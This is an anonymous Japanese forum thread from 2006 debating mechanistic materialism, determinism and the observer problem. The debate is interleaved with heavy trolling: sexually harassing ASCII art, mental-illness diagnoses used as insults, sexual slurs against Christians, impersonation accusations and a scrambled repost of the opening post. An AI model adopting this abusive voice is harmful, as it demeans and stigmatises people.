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◆決定論:脳は物質だから意識は必然にすぎない81◆

1 :考える名無しさん:2006/11/12(日) 01:13:50
人間の脳が「物質」であることには、誰も異論がありません。
しかし、脳内には物質以外の「何か」がある(筈)と考える人が居ます。
・・それは願望思考・自己欺瞞という「観念論的誤謬」です。
人間の脳を構成する千億個の神経細胞は軸索を伸ばし、突端から
分泌する神経伝達物質で、他の神経細胞に情報を伝えるだけです。
勿論、脳内には核分裂のような原子核反応もありません。
分子生物学と生理学の対象分野「分子レベルの現象」が全てです。
「この宇宙」で人間の脳だけが「特殊な物質」であるとする科学的根拠は
全くありません。人間の脳も地球上における「物質の進化」の一過程に
すぎず、人間の脳が造り出す『意識』も何ら「特別」ではありません。
『意識』は『クオリア』を持つ動物全部に生成する現象です。
「何を思うか何を意志するか」は、あらかじめ物理・化学法則により
決定されております。自由(意志)感は文字通り『感じ』にすぎません。
量子論の「不確定性」は意識には何の関係もない「単なる観測問題」です。
以上が「超・大統一理論」=量子論と相対性理論の統一後に残存し得る
『唯一の最終真理(思想)』の輪郭です。全宗教全観念論は徒労です

前スレ
◆決定論:脳は物質だから意識は必然にすぎない80◆
http://academy4.2ch.net/test/read.cgi/philo/1162040838/

過去ログ
http://www.emit.jp/ai/ai.html


2 :考える名無しさん:2006/11/12(日) 01:18:37
終了

3 :考える名無しさん:2006/11/12(日) 01:35:16
小さなヨハネがどのくらい下品な荒らしを掛けてくるか見物だな。
キリスト教ってもっと清貧でヒューマンなイメージがあったけど、
小さなヨハネみたいな急進主義もあるのでイスラムと先祖が同じ
ということも納得できる。キリスト教信者は相当に下ネタが好きなんだね?
明日を楽しみにして寝るかな。

4 :名無しさん@←ブラックホール:2006/11/12(日) 01:36:50
決定論に限界が来たら神社へ行ってみるといいよ

5 :考える名無しさん:2006/11/12(日) 01:40:24
機械的真理教本部スレ

6 :考える名無しさん:2006/11/12(日) 01:41:42
>>3
戦争物や暴力者好きは十字軍時代からの伝統ですよ。血を飲む宗狂だから。

7 :考える名無しさん:2006/11/12(日) 01:48:50
>>6
最高に下品なsexネタ大好き小ヨハネは教義的に破門だと思うのは大間違い、
ネストリウス派という小ヨハネの派は、乱交を日常的に行うことで神に近づくという教義だから

8 :考える名無しさん:2006/11/12(日) 01:53:57
>>7
カタリ派の間違い?
生殖に結びつかない性行為は奨励されたため、この点において
カタリ派が激しく非難されることになった。

9 :考える名無しさん:2006/11/12(日) 01:54:57
>>8
かもね。どうでもいいけど。寝る

10 :考える名無しさん:2006/11/12(日) 02:07:56
おいおいwwwww またまた俺のコピペかwwwwwwwwww
ついに俺のマラの臭さに降参したのかよm9。゚(゚^Д^゚)゚。プギャーーーッハッハーヒャヒャヒャヒャヒャヒャ
よほど俺の釜堀一筋30年のマラへのルサウンチマンが尽きたようだなぁニヤニヤ
ま、もとから俺様のマラの臭さには対抗すらできていなかったわけだが( ´,_ゝ`)

( ´,_ゝ`)DION規制の嵐で書き込めなかったのもわからない馬鹿が必死でわろえたよw
俺が書き込まなくても俺の影におびえて晶子晶子わめいていた馬鹿信者ワロスwwwww



11 :考える名無しさん:2006/11/12(日) 02:22:21
999 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/11(土) 23:53:23
>「真理について」のスレは必要なので、継続します。
>小さなヨハネさん、真理はあなたの「神」より強いのですから、
>いくら荒らしても無駄なことです。

ここまで言ってもチビアホヨハネの神様は何の罰も下さないし、
チビアホヨハネの最高度に下品なコピペ&AAを止めようともしない。
同じ穴の狢だと思われる真面目なキリスト教信者に対する迷惑は図りしれん。

12 :考える名無しさん:2006/11/12(日) 02:24:10
おまえらカス共がどう思おうが無問題

13 :考える名無しさん:2006/11/12(日) 02:30:03
        /⌒ヽ⌒ヽ
               Y       観念論者は結婚してんの?
            八  ヽ
     (   __//. ヽ,, ,)    観念論者とはさぁ、どんなセックスしてるわけ?
      丶1    八.  !/
       ζ,    八.  j     週何回?どこを責められると感じる?
        i    丿 、 j
        |     八   |     どんな体位が好き?コンドームは着けてる?
        | !    i 、 |
       | i し " i   '|    観念論者以外とは何人とセックスした?この絵みたいなチンポは好き?
      |ノ (   i    i|
      ( '~ヽ   !  ‖   観念論者、ちゃんと教えて欲しいなぁぁぁぁぁ
        │     i   ‖
      |      !   ||    質問にはきちんと答えてくれるんだよねぇぇぇ
      |    │    |
      |       |    | |    早くぅぅぅぅぅぅぅぅぅぅぅぅ
     |       |   | |
     |        !    | |   観念論者、もう待てないよおおぉぉぉぉぉぉぉ


14 :あぼーん:あぼーん
あぼーん

15 :考える名無しさん:2006/11/12(日) 02:33:33
>>13
小さなヨハネは出来ればソドミーを本場ソドムでしてもらいたかったから
キリスト教を選んだと見たね。自分のケツの穴の形状を書き加えろよ。

16 :哲学者最高位 ◆zH5vyVK1vo :2006/11/12(日) 02:35:25
機械君が言ってるのは「科学は真理であり正しい」という事であって
これじゃ哲学じゃないんだよ
『私』という主観性
すなわち科学に対する『観測者』というものが、全く視野に入っていない
機械的唯物論がどうのこうのと言っているが、唯物論でも何でもない
単に「科学は正しいのであり、間違いではない」「だから真理だ」と言っているにすぎない

まぁ、私が現れた以上
それが、どんな唯物論者であれ
そうやってアホになって、逃げ惑う以外にはないわけだがね
現代の哲学の中にあって
唯物論というものは、もはや前時代的な思想になっちゃっているという事が
もし、丸っきり理解できないのならば
それは、あまりにも知能が低いと言わざるをえない

17 :あぼーん:あぼーん
あぼーん

18 :考える名無しさん:2006/11/12(日) 02:42:37
                 __( "''''''::::.         つ
       --;;;; ______,,,,,,---'''''''"""" ヽ   ゛゛:ヽ. つ  つ つ
        ::::::::""""  ・       . \::.   丿  つ つ   ドッピオ!!
       :::::::         ..........::::::::::::彡''ヘ::::....ノ     つ
            ::::::::::;;;;;,,---""" ̄   ^``
    /        ̄ ̄ \
   /::::::::     :      ヽ
   |:::::      ::      ヘ
   ヽ::::::     :::..     ノ
    \:::::::  /\:::;;;;;;__ ノ

19 :考える名無しさん:2006/11/12(日) 02:43:36
    ___      ___
.   (    )     (    )
     ̄|  |      |  | ̄
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  ||\  .:;Σ;:|  |:;て;:. \
  ||\\   """""    \   <パーソナリティ障害隔離病棟スレ
  ||  \|| ̄ ̄ ̄ ̄ ̄ ̄ ̄||
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       .||              ||


20 :考える名無しさん:2006/11/12(日) 02:45:05
       /     \
     /  / ̄⌒ ̄\
     /   / ⌒  ⌒ |   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    | /  (・)  (・) |   | てめーなんだよこの自作自演の糞スレは!!
  /⌒  (6     つ  |   | てめーは精神障害でもあんのか?
 (  |  / ___  |  < 何とか言えyo
  − \   \_/  /    \__________________
 //  ,,r'´⌒ヽ___/     ,ィ
   /    ヽ       ri/ 彡
  /   i    ト、   __,,,丿)/        ζ
 |    !     )`Y'''" ヽ,,/      / ̄ ̄ ̄ ̄\
  ! l   |   く,,   ,,,ィ'"      /.         \
  ヽヽ  ゝ    ! ̄!~〜、       /           |
  ヽ  / ̄""'''⌒ ̄"^'''''ー--、 :::|||||||||||||||||||||||||||||||||
   Y'´          /    """''''〜--、|||||||||||||||||) 
   (      丿  ,,;;''  ....::::::::::: ::::r''''"" ̄""ヽ   |  ← >>1
    ゝ   ー--、,,,,,___      ::: ::,,,,,ー`''''''⌒''ーイ  ./
    ヽ      \  ̄""'''"" ̄   \____/-、
     ヽ       ヽ  :::::::::::::::::::: /          `ヽ
      ヽ  丿   )       /    ノ   ゝ ヽ ,〉
       ゝ      !      /            ∀
        !     |      /   人     ヽ   ヽ
        |     ,;;}      !ー-、/  ヽ _,,,-


21 :考える名無しさん:2006/11/12(日) 02:46:46
人け間識には何の関題」で係もない「単る「物る観。測問 の脳だ殊な物あ
学的根す 全くせん。ありま人化」の一過程に 質」ですぎ人の統ず、一後に残る
『唯拠は一の最己欺論、脳瞞という「観郭です念終真理(思想)』の輪論的誤。
教全観間の子レベ脳けがが造り出「特す『意識物理象分野』も何ら「特ません
存し得。 『とには、誰も意間の脳が「物上が「超質」であるこ異ありま学の対
し内か間間も地脳人を構論が球上にお全宗質の進の成す個の神細学と生胞は
分別」ではあり泌する神論」=量性理論念論は徒経伝達物理労です質で、
他の経神情えす。 勿内には核分子論と相対裂核反応もありまるとする科せん。
分子生「分報を伝ルの現せん。 象」が全てでる千億す。子
宇は『ク宙」で識』オ成する現リア』を持つ動物の脳全生象で質の進うす。「この
「何を思間の脳も地球上における「物か意部に志する、のような原経細か」は胞
に則に子あらか理・化じめ物学法より 決には物か」があと考え何をる人が質以
外の「何居ま謬」ですするだ ・それは願望思考・自。 定さりますけで。。
自れてお由(意間の球上における「物脳も地質の進ん。 脳量の「不志)感はは
意以一 確索・大統を伸る(筈定性」)ばし、突論端からが「超・大軸


22 :考える名無しさん:2006/11/12(日) 03:01:57
> 機械的唯物論がどうのこうのと言っているが、唯物論でも何でもない


> 唯物論というものは、もはや前時代的な思想になっちゃっている

23 :小さなヨハネ ◆qVlDZBV0dY :2006/11/12(日) 03:14:21
               __( "''''''::::.         つ
       --;;;; ______,,,,,,---'''''''"""" ヽ   ゛゛:ヽ. つ  つ つ
        ::::::::""""  ・       . \::.   丿  つ つ   ドッピオ!!
       :::::::         ..........::::::::::::彡''ヘ::::....ノ     つ
            ::::::::::;;;;;,,---""" ̄   ^``
    /        ̄ ̄ \
   /::::::::     :      ヽ
   |:::::      ::      ヘ
   ヽ::::::     :::..     ノ
    \:::::::  /\:::;;;;;;__ ノ


24 :小さなヨハネ ◆qVlDZBV0dY :2006/11/12(日) 03:15:56
       /     \
     /  / ̄⌒ ̄\
     /   / ⌒  ⌒ |   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    | /  (・)  (・) |   | てめーなんだよこの自作自演の糞スレは!!
  /⌒  (6     つ  |   | てめーは精神障害でもあんのか?
 (  |  / ___  |  < 何とか言えyo
  − \   \_/  /    \__________________
 //  ,,r'´⌒ヽ___/     ,ィ
   /    ヽ       ri/ 彡
  /   i    ト、   __,,,丿)/        ζ
 |    !     )`Y'''" ヽ,,/      / ̄ ̄ ̄ ̄\
  ! l   |   く,,   ,,,ィ'"      /.         \
  ヽヽ  ゝ    ! ̄!~〜、       /           |
  ヽ  / ̄""'''⌒ ̄"^'''''ー--、 :::|||||||||||||||||||||||||||||||||
   Y'´          /    """''''〜--、|||||||||||||||||) 
   (      丿  ,,;;''  ....::::::::::: ::::r''''"" ̄""ヽ   |  ← >>小ヨハネ


25 :考える名無しさん:2006/11/12(日) 03:25:57
寝ろよ

26 :小さなヨハネ ◆qVlDZBV0dY :2006/11/12(日) 04:21:08
               __( "''''''::::.         つ
       --;;;; ______,,,,,,---'''''''"""" ヽ   ゛゛:ヽ. つ  つ つ
        ::::::::""""  ・       . \::.   丿  つ つ   ドッピオ!!
       :::::::         ..........::::::::::::彡''ヘ::::....ノ  機械つ
            ::::::::::;;;;;,,---""" ̄   ^``
    /        ̄ ̄ \
   /::::::::     :      ヽ
   |:::::      ::      ヘ
   ヽ::::::     :::..     ノ
    \:::::::  /\:::;;;;;;__ ノ


27 :あぼーん:あぼーん
あぼーん

28 :あぼーん:あぼーん
あぼーん

29 :あぼーん:あぼーん
あぼーん

30 :あぼーん:あぼーん
あぼーん

31 :考える名無しさん:2006/11/12(日) 05:56:32
最高位の妄想日記が読めるスレはここですか。

32 :考える名無しさん:2006/11/12(日) 07:11:05




 このスレまだやってんのか? 無職ども(笑)





33 :考える名無しさん:2006/11/12(日) 07:55:27
暇人妄想日記が何冊か読めるスレ。w

34 :小さなヨハネ ◆1oKmZSIAF. :2006/11/12(日) 20:27:43
>>11 >>23 >>24 >>26 >>29 >>30

ワトソン:おい、ブルネルス(=機械=最高位)、成りすましもいい加減にしろ。

ホームズ:・・・(唖然として言葉も出ない)。

35 :考える名無しさん:2006/11/12(日) 21:53:51
一つ質問したいのだが、世界を決定論的に観測するとき観測者は世界の外にいないといけないよな?
しかし、そのとき観測者も世界に内在しているわけだから、これはそもそも不可能であるはず。
風船の内側にいる人間が、その外側から風船を観測することはできないからな。
可能なのは風船の内側から、その外側を観測したときの有り様を想像することだけ。
いわゆる、観測者としての人間の限界ってやつだ。

したがって、世界を決定論的に規定することはその本質において無意味である。
逆に、機械論的決定論を語るなら、決定論の法則性から外れ、世界の外側にいる超越者でなくてはいけない。

たとえるなら、アニメのキャラが、「自分がアニメのキャラである」というメタフィクションな事実に気づいたとしても
それはそもそも脚本やら絵コンテの段階で決まっていたことですよ、と。

以上から俺は「機械論的決定論を語ることは無意味である」と結論付けて思考停止するようにしてる。
さて、長々ときていよいよ質問なのだが、ここまで何か俺の論に批判すべきところとかない?

36 :考える名無しさん:2006/11/12(日) 22:15:53
もう一つ。これはシンプルな質問。わかる人おせーてください。

世界を観測し、規定するということは事象を観測する「主体」が存在しなくてはいけない。
このときの「主体」というのは主体性論争などで論じられた主体ではなく、
ウィトゲンシュタインの言う世界の限界である。そのため「主体」は世界に属さない。
このとき、唯物論の観点からはこの「主体」の存在も否定されなければならない。

したがって世界そのものは存在しえない。
ゆえに機械論的決定論は無意味であるのではないか?

37 :考える名無しさん:2006/11/12(日) 22:22:30
くだらん
とうの昔の過去スレに答えが書いてあるだろ
いつまで糞なこと繰り返しているのかキチガイども

38 :考える名無しさん:2006/11/12(日) 22:24:20
      。ρ。機械      
         ρ      
         mドピュッ
        C|.| /⌒⌒⌒ヽ/~ ̄ ̄ ̄ ̄ヽ
      /⌒ヽ⌒ヽ___   |  ∴ヽ  3  ) ああ 逝くっハァハァ・・・
     ./  _  ゝ___)(9     (` ´) ) 
    /  丿ヽ___,.───|彡ヽ ―◎-◎-| 誰でもいいからボクの話相手してぅぅぅぅっ ぅっ
    _/ )          (   Y ̄ ̄ ̄ ̄)
   (__/

39 :考える名無しさん:2006/11/12(日) 22:26:45
この質問は、「スーパー・ダイハード」な問いかけである。

そもそも「主体」とは何ぞや? まず、この事を議論の出発点と
しなければならない。 しかるに君は、これ解決しないで議論を
展開しようとしている。

「ウィトゲンシュタイン」の妄想に惑わされ、チミは認識の意味を
取違えている。 まず、この宇宙の深遠な超越的な「確体」について
勉強しなさい。 それは「神の涙」というべき幽玄な飛翔光体であり
それに耳を澄ませることにより「真の広漠たる宇宙の合体」に至れる。


40 :考える名無しさん:2006/11/12(日) 22:29:43
補足。
>>35において「観測者は世界に属していなければならない」と書き、
>>36において「観測者としての主体は世界に属さない」と書いているが、

>>35は世界を実在論的に解釈した場合。
>>36は世界を独我論的に解釈した場合。

よって異なった前提から導出した結果なので、矛盾しないと思います。

さらに、実在論を純化していった場合、独我論と実在論は一致しますが、
どちらにしろ、完全に主体を消去してしまうことは出来ず、そのような世界は思考することも出来ない
という点については同じです。なぜなら、そもそも観測者が存在しないからです。

我々は、自分の死後の世界を本質的に想像することはできません。
なぜなら、<私>としての「主体」の死後には世界を観測する<私>としての「主体」は存在しないからです。

以上のことより、俺は『機械論的決定論を語るのはその本質においてナンセンスである。』と結論付けますた。

41 :考える名無しさん:2006/11/12(日) 22:31:01
みんな、最初から話を整理しようよ

42 :小さなヨハネ ◆1oKmZSIAF. :2006/11/12(日) 22:34:31
>>3 >>7
ワトソン:これも成りすましだ。だいたい何が善いか悪いかも認識できないのに
     何の認識論と言うのだろう。嘘をつくのが悪いことも知らない人間が
     一体何の議論が出来るんだ。だから哲学徒は小ヨハネにとことん馬鹿
     にされるんだ。とんちき。

ホームズ:ははは、全く。     

43 :考える名無しさん:2006/11/12(日) 22:35:36
>>37
さすがに80もいったらきついわけよ。すでに議論されて答えが出ているのなら
ずばっと簡単に答えをつきつけてくれ。そうすりゃすぐに消えるから。

>>39
> そもそも「主体」とは何ぞや?

「世界の限界」と規定しているがな。これ以上に記述しようがない、と思う。
「主体」は記述することはできない。だって「限界」なんだもの。それを記述できたとしたらそれは限界ではない。
まあ、難しい定義はおいといて俺のレスについては単純に「観測者」と置き換えてくれれば
論を進めるのに一切問題はない。

なのでその前提において俺の書き込みを批判して欲しい。

44 :考える名無しさん:2006/11/12(日) 22:36:01
観念論者は「赤組」、唯物論者を「白組」にしようよ

45 :考える名無しさん:2006/11/12(日) 22:37:09
              __( "''''''::::.         つ
       --;;;; ______,,,,,,---'''''''"""" ヽ   ゛゛:ヽ. つ  つ つ
        ::::::::""""  ・       . \::.   丿  つ つ   ドッピオ!!
       :::::::         ..........::::::::::::彡''ヘ::::....ノ  機械つ
            ::::::::::;;;;;,,---""" ̄   ^``
    /        ̄ ̄ \
   /::::::::     :      ヽ
   |:::::      ::      ヘ
   ヽ::::::     :::..     ノ
    \:::::::  /\:::;;;;;;__ ノ


46 :考える名無しさん:2006/11/12(日) 22:37:48
    ___      ___
.   (    )     (    )
     ̄|  |      |  | ̄
     |  |      |  |
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     \ \__/ /
       \    /
       /|.    |ヽ
      / ⊃   ⊂.\
    / /|     |\ \
    ( <  |     |.  > )
    \ \|     |/ /
  __ \__  ___/
  ||\  .:;Σ;:|  |:;て;:. \
  ||\\   """""    \   <パーソナリティ障害隔離病棟スレ
  ||  \|| ̄ ̄ ̄ ̄ ̄ ̄ ̄||
     .  || ̄ ̄ ̄ ̄ ̄ ̄ ̄||
       .||              ||

47 :小さなヨハネ ◆1oKmZSIAF. :2006/11/12(日) 22:38:10
ワトソン:彼らが神を認識する能力がないのも当然だ。善悪すら分からない
     のだから。だから蛇、すなわち感覚的な者、と呼ばれるのだ。
     エデンの園の蛇はその意味だ。彼らが人を騙すのだ。

ホームズ:そうだね。

48 :考える名無しさん:2006/11/12(日) 22:38:54
武器は水鉄砲だけにしようよ

49 :考える名無しさん:2006/11/12(日) 22:39:37
>>39
もう一つ補足するなら、「主体」ってのを持ち出したのは>>35>>36の矛盾を説明するため。
要するに、俺は唯物論はそもそも存在できないのではないか?っていう問いを背理法によって示しただけ。

でも、ここまで哲学的に論争されてきてることがこんな簡単に決着がつくわけが無いから、
俺の論の進め方のどこかに綻びがないか見て欲しいとお願いしているわけですよ。

50 :ガルシア軍曹 ◆PASevNcrGo :2006/11/12(日) 22:40:02


よなよな来ないかなあ

51 :考える名無しさん:2006/11/12(日) 22:42:15




境界性パーソナリティ障害
妄想性パーソナリティ障害
自己愛性パーソナリティ障害
演技性パーソナリティ障害
回避性パーソナリティ障害
強迫性パーソナリティ障害
依存症パーソナリティ障害




52 :ガルシア軍曹 ◆PASevNcrGo :2006/11/12(日) 22:44:53

よなよなの正義感大好きだった。

よなよなには戻ってきてほしい。

戻ってきてよなよな。

53 :考える名無しさん:2006/11/12(日) 22:48:57
     ∧_∧
     ( ゜∀゜ )ヘラヘラ ∧_∧
    /     \   (    )働けよ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ ニートかよ   \|   (    ) 
  |     ヽ           \/     ヽ. 朝から晩まで自作自演かよ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /

54 :小さなヨハネ ◆1oKmZSIAF. :2006/11/12(日) 22:49:58
ワトソン:おい、ブルネルス、君に対して同情する余地はあると思うが、
     嘘や成りすましは悪いことだからそれを控えるくらいの意志
     は働かせることができるだろう。それすら自分の意志でしない
     ならもう救いようがないよ。
ホームズ:うん。

55 :考える名無しさん:2006/11/12(日) 22:51:08
「機械的唯物論」者 ◆Wrk8395W0I =ガルシア軍曹 ◆PASevNcrGo

56 :短パン:2006/11/12(日) 22:51:40
あっそぅ。

もぅ、どうでもいいわ。

57 :考える名無しさん:2006/11/12(日) 22:54:02



























                                                  廃墟

58 :ガルシア軍曹 ◆PASevNcrGo :2006/11/12(日) 23:00:13

ひとりじゃ生きていけそうにないや へへ

59 :考える名無しさん:2006/11/12(日) 23:07:51
機械さん、論文は順調ですか?

60 :ガルシア軍曹 ◆PASevNcrGo :2006/11/12(日) 23:12:35

なんのためにものを考えるの?

61 :考える名無しさん:2006/11/12(日) 23:47:28
>>43
このスレの非唯物論者は、あなたの見解と大同小異のことを述べてきたの
ではないか。それに対して、ここのスレ主は「観測者は世界に内属しながら
も、自然科学という方法によって世界を外から把握できる」と考えているフシ
がある。換言すれば、科学的認識は主観を超えて“客観”に的中できるという
のがスレ主の立場とみられる。
最近のスレ主は、唯物論者というよりも科学主義者としての色合いを濃く
しているのではあるまいか。


62 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/13(月) 00:27:48
>>40
>そのような世界は思考することも出来ない
>という点については同じです。なぜなら、そもそも観測者が存在しないからです。

「世界」(「この」宇宙)は観測者が存在するか否かについて「無関心」です。
例え人類が「この世界の構造」である、「超ひも理論」を発見するしない・・
・・に係わらず・・「超ひも」がこの世界(真空や物質や力)の「全て」でなのです。
そういう意味における「この世界(この宇宙)」の「内部」にも「外部」にも、
 何一つとして『「存在」するものは無い』・・「神」や「聖霊」や「観念」や「物自体」も)
・・・ということです。


63 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/13(月) 00:40:52
>>54
あなたのコピペを見ていると「謹厳かつ清貧である」というキリスト教本来の
あり方を相当に逸脱しておりますね。
「唯物論=反キリスト教をやっつけるための手段だから神も認めるだろう」と
甘く考えていること自体、あなたの「神」の逆鱗に触れる可能性がありますよ。
 社会一般・客観的に観ても、あなたのコピペはあまりに「悪魔に魂を売った者」
に近い・・と誰でも思いますので、あなたは一生懸命「謹厳・清貧」を実行している
あなたのお仲間「キリスト教徒」の評判を貶めていることにお気づきですか?

64 :小さなヨハネ:2006/11/13(月) 00:57:48
>>63

おまえにオレの神をとやかく言われる筋合いなどはないわ。我々は欲望に身を委ねる子羊だからだね。

小さなヨハネ ◆qVlDZBV0dY :2006/11/12(日) 03:14:21
               __( "''''''::::.         つ
       --;;;; ______,,,,,,---'''''''"""" ヽ   ゛゛:ヽ. つ  つ つ
        ::::::::""""  ・       . \::.   丿  つ つ   ドッピオ!!
       :::::::         ..........::::::::::::彡''ヘ::::....ノ     つ
            ::::::::::;;;;;,,---""" ̄   ^``
    /        ̄ ̄ \
   /::::::::     :      ヽ
   |:::::      ::      ヘ
   ヽ::::::     :::..     ノ
    \:::::::  /\:::;;;;;;__ ノ



65 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/13(月) 01:08:59
>>64
御勝手にどうぞ。私はあなたの「神」(エホバ神)の存在を信じておりませんので、
あなたがエホバ神に見放されようと、誉められようと関係ありませんので、
本日は就寝させて戴きます。

66 :宗教裁判所:2006/11/13(月) 01:10:43
小さなヨハネ ◆1oKmZSIAF. は異端である。

67 :考える名無しさん:2006/11/13(月) 01:15:40
それは遺憾であるw

68 :考える名無しさん:2006/11/13(月) 01:23:40
キリスト教各派あっても、目的は手段を正当化するという考えは異端の典型だよ。悪魔の誘惑だよ。

69 :考える名無しさん:2006/11/13(月) 01:27:05
              __( "''''''::::.         ついかんがな
       --;;;; ______,,,,,,---'''''''"""" ヽ   ゛゛:ヽ.  いかくさッ!つ つ
        ::::::::""""  ・       . \::.   丿  つ つ   ドッピオ!!
       :::::::         ..........::::::::::::彡''ヘ::::....ノ     つ
            ::::::::::;;;;;,,---""" ̄   ^``
    /        ̄ ̄ \
   /::::::::     :      ヽ
   |:::::      ::      ヘ
   ヽ::::::     :::..     ノ
    \:::::::  /\:::;;;;;;__ ノ


70 :考える名無しさん:2006/11/13(月) 01:30:33
>>62
>「世界」(「この」宇宙)は観測者が存在するか否かについて「無関心」です。

そんなのは前提のうちの前提。俺が言ってるのは観測者の限界であって、
論理的に我々は世界を決定論的に論じることができない。
つまり、観測者の限界、つまり論理の限界(決して認識の限界ではない)を考えれば
そもそも決定論は存在し得ないという演繹的事実を俺は背理法によって示した。

>そういう意味における「この世界(この宇宙)」の「内部」にも「外部」にも、
何一つとして『「存在」するものは無い』・・「神」や「聖霊」や「観念」や「物自体」も)

だったら純化された実在論として、そもそも決定論自体がナンセンス。以上。
で終わりなわけですよ。俺がいってるのはまさにそこ。

すべての事象は玉突き現象であるとしても、それを観測できるのは玉突き現象から外れたものだけ。
つまり世界の外にいる超越者でしかありえない。

71 :考える名無しさん:2006/11/13(月) 01:32:41
>>66
小さなヨハネ ◆1oKmZSIAFは地獄逝きノート131313番目に既に記入済みです。

72 :考える名無しさん:2006/11/13(月) 01:34:21
続き。

じゃあ、あなたが機械論的唯物論を語ったときには果たしてどうなるか。
あなたの論に乗っ取れば、あなたの思考やこうやって書き込みしていること自体が一つの玉突き現象である。
つまり、その現象が「すべて」であって、それゆえに「機械論的唯物論」は存在しない。
要するに、現象は現象としてありそれ自体がすべてなのであって、そのような思想は構築できない。
具体的に言えばあなたの脳内の化学物質が作用して筋肉を動かし、PC端末を経由して電子信号を送っただけ。
それ以上でもそれ以下でもない。よって語る価値を持たない。

したがって、あなたのいうとおりに「唯物論が正しい」のだとすれば、演繹的に「唯物論そのものも存在しない」という結論になる。
だから我々は「純粋な」機械論的唯物論を語れない。語るとすれば、観測者という例外的な存在を与えるか、
あるいは唯物論そのものを例外としてその原則から外さなくてはいけない。

これは決して唯物論の敗北ではなくて、純化された唯物論だけしか認めないと、
唯物論そのものの存在が矛盾するということです。というよりも、むしろ観測者の敗北であって、
唯物論が正しいか正しいかは「分からない」が我々は論理的にそれを語ることができない、ということなのです。

結局のところこれは形而上学的な超越論の問題なのであり、そうしたらなおさら
機械論的決定論の立場からは乖離していってしまうでしょう?

だったらその思想をあくまで真理であると「信じて」そのように行動するか、
あるいは俺のように思考をその時点で停止するしかない。そういうことです。

73 :考える名無しさん:2006/11/13(月) 01:37:23
あーもっと簡潔に一言でいうわ。

> 何一つとして『「存在」するものは無い』・・「神」や「聖霊」や「観念」や「物自体」も)

<じゃあ、『機械論的唯物論』という「観念」も存在しない。以上。>

ということです。これ以上先に論を進めるとすれば、それは形而上学であり、なおさら観念的な諸問題に直面します。
なのでこの辺で思考を停止して「よくわからんかった」と結論を出すのが俺は賢いと思うのです。

74 :考える名無しさん:2006/11/13(月) 01:38:06
おにいたん
ハローワークって何時から開いてるの?


75 :考える名無しさん:2006/11/13(月) 01:46:33
>>61
なるほど。でも俺はそもそも非唯物論者でも唯物論者ないんですよね。
そもそもこの話題って意味あるの?っていう。

なんかこのままだと論理実証主義の若造たちみたいに思われるのはいやなので、
もう一個補足しとくけど、俺も中学生ぐらいのときは機械論的唯物論を考えてた。
世界は必然によって動いてるんだから、道徳や観念的なもの、神なんかも否定していい気になってたんだが、
ある日あれだ。

たとえば、運命に逆らおうとしていた子供がある日、
「自分が運命に逆らおうとしているのも運命なんじゃ?」って悟る感覚かな?それに似たものを感じた。
そして、それに対して「運命に従ったら運命にさからったことになるのか?」っていうとならない。
それもまた運命に流されているのかもしれないし、運命に従ったら結局従ったことになるじゃん。
ていうかそういうことに気づいたこととかこうやって悩んでること自体運命なのか?
とか考えて見るみたいなものよ。これは結局ループになって答えはでない。

76 :考える名無しさん:2006/11/13(月) 01:50:59
んでループになって答えがでないのはどうしてかっていうと、運命というのは
結局俺たちを超越した誰かが見たときの話であって、世界を外側から見なくちゃいけない。
そんなことは不可能だから運命なんてものが存在するかどうかわからないのだ、ってこと。
これは唯物論にもそのまま当てはめることができる。

そして、それを思考することによって何か得るものがあるのか。おそらく無いだろう。
唯物論的に考えれば考えるほど、考えることに意味は無い。だとすれば、なおさら唯物論に意味なんか無い。
だったら、別に考えなくていいじゃないかと、俺はそう思うのだけどどうですか?
世界が唯物論的に動いていようといまいと、幸い我々?は快楽を感じることができるし、楽しいという感情もあるんだから
そっちを追求したほうがずっと「自分のため」になるのでは?たとえそれが虚構だとしてもね。


77 :考える名無しさん:2006/11/13(月) 01:58:52
あーもう一個だけ補足しとくわ。文章がどんどん蛇足になっていくのが俺の悪いくせね。

>「観測者は世界に内属しながらも、自然科学という方法によって世界を外から把握できる」

これも簡単に否定できるよ。『自然科学』というのも一つの「観念」であるから
唯物論的には否定されなくてはならない。そもそも『世界』というのも「観念」であるし、
『科学的認識』も『客観』も『主観』も関係なく、機械論的唯物論の立場にたつなら存在しない。

そもそも『自然科学による客観的な認識というものによって導きだされるもの』っていわゆる
『普遍的な真理』ってやつでしょう?そんなものこそ唯物論的立場からは真っ先に否定されるべきものだ。

その上で『普遍的な真理』が存在すると語るなら、それは形而上学的な問題。
哲学というよりは宗教に近くなります。それでもいいならどうぞ論を進めてください、と。

78 :考える名無しさん:2006/11/13(月) 02:03:20
話は変わって一つ提案です。どうしても機械論的決定論なり唯物論を唱えたいなら、
ある密閉された空間の中に一つのモデルを作ってその中を論じてはいかがでしょう。
モデルの中に例え人がいようが動物がいようが、量子がわけわからん動きをしてようが大丈夫です。

その場合においてのみ、また、そのモデルの中においてのみ機械論的唯物論は意味を持ちます。

79 :考える名無しさん:2006/11/13(月) 02:30:32
玉突き現象から観念が生まれるって考え方はダメ?

80 :考える名無しさん:2006/11/13(月) 02:49:29
      /i' .l,,┬''´      ヽ、   / r'⌒'、 i. iヽ '、  ヽ.
     / ! '/        ; *ヽ、,i .ノ   } } ./ '、_!`''-,、',
     /,,,,/         ソヽ'´ 'y'   'し‐'     ヽ 〉
     〈 ,';           ,'  !  {              ヾ
      y           { ◆ヽ.            ヽ Merry X'mas!
.     ,'           , ヘ. ヾ   iヽ、           ヽ
     ,'              ノ`''''`i''''"ヽ            ヽ
    ,'            /    i   ヽ            ヽ
.    ,'            ./|   |.    ヽ            ヽ
.   ,'           /‐'~~i`''‐;,,、、-‐'ヽ           ヽ
   ,'.           /   ヽ、      ヽ .            ヽ
.   ,'           ∧     ヽ.     ヽ            '、
   ,'           /  `丶=、_  ヽ、    ヽ        \ヽ _ _
